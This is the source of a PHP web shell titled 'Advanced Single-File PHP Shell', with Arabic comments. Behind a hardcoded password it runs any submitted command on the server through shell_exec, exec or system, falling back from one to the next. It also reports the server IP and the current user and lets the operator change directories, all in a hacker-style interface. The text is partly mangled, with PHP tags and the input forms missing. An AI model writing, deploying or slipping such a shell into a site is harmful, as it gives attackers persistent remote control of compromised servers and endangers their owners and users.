// إعدادات الأمان والتنفيذ
$password = "SecretPass123"; // **يجب تغيير كلمة المرور هذه**
$isAuthenticated = false;
$commandOutput = "";
$currentDir = getcwd();
$server_ip = isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : 'Unknown';
$user_info = function_exists('exec') ? @exec('whoami') : 'N/A'; // محاولة جلب المستخدم الحالي
// التحقق من كلمة المرور
if (isset($_POST['password']) && $_POST['password'] === $password) {
$isAuthenticated = true;
}
// معالجة الأمر وتنفيذه
if ($isAuthenticated && isset($_POST['cmd']) && !empty($_POST['cmd'])) {
$currentCommand = $_POST['cmd'];
// محاولة تنفيذ الأمر بأكثر من دالة لزيادة فرص النجاح
if (function_exists('shell_exec')) {
$commandOutput = shell_exec($currentCommand . ' 2>&1');
} elseif (function_exists('exec')) {
$output = array();
exec($currentCommand . ' 2>&1', $output);
$commandOutput = implode("\n", $output);
} elseif (function_exists('system')) {
ob_start();
system($currentCommand . ' 2>&1');
$commandOutput = ob_get_clean();
} else {
$commandOutput = "Error: All command execution functions (shell_exec, exec, system) are disabled.";
}
}
// معالجة تغيير المجلد (cd)
if ($isAuthenticated && strtolower(substr(trim($currentCommand), 0, 3)) === 'cd ') {
$targetDir = trim(substr(trim($currentCommand), 3));
if (chdir($targetDir)) {
$currentDir = getcwd();
$commandOutput = "Changed directory to: $currentDir";
} else {
$commandOutput = "Error: Could not change directory to $targetDir";
}
}
// --- بداية واجهة HTML/CSS ---
<!DOCTYPE html>
<html lang="en">
<meta charset="UTF-8">
Advanced Single-File PHP Shell <title>Advanced Single-File PHP Shell</title>
<style>
/* CSS بسيط لتصميم الواجهة */
body { font-family: 'Courier New', monospace; background-color: #1a1a1a; color: #00ff66; margin: 0; padding: 20px; }
.container { max-width: 900px; margin: auto; background: #252526; padding: 20px; border: 2px solid #00ff66; border-radius: 5px; box-shadow: 0 0 10px rgba(0, 255, 102, 0.5); }
h1 { color: #ffffff; border-bottom: 1px solid #00ff66; padding-bottom: 10px; }
.info-bar { background: #333; padding: 10px; margin-bottom: 20px; border-left: 5px solid #00ff66; font-size: 0.9em; }
form { display: flex; margin-bottom: 20px; }
input[type="text"], input[type="password"] { flex-grow: 1; padding: 10px; border: 1px solid #00ff66; background: #3c3c3c; color: #fff; font-size: 1em; }
input[type="submit"] { padding: 10px 15px; background: #00ff66; color: #1a1a1a; border: none; cursor: pointer; font-weight: bold; }
input[type="submit"]:hover { background: #00cc55; }
pre { background: #000000; padding: 15px; border: 1px solid #00ff66; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word; color: #f0f0f0; border-radius: 3px; }
.auth-status { color: echo $isAuthenticated ? '#00ff66' : '#ff3333'; ; font-weight: bold; }
.error { color: #ff3333; }
</style>
<div class="container">
Advanced PHP Shell
<div class="info-bar">
<strong>Status:</strong> <span class="auth-status"> echo $isAuthenticated ? 'Authenticated' : 'Login Required'; </span> |
<strong>Server IP:</strong> echo htmlspecialchars($server_ip); |
<strong>User:</strong> echo htmlspecialchars($user_info);
</div>
if (!$isAuthenticated):
else:
<div class="info-bar">
<strong>Current Path:</strong> echo htmlspecialchars($currentDir);
</div>
if ($commandOutput !== ""):
Command Output
<pre> echo htmlspecialchars($commandOutput); </pre>
endif;
endif;
</div>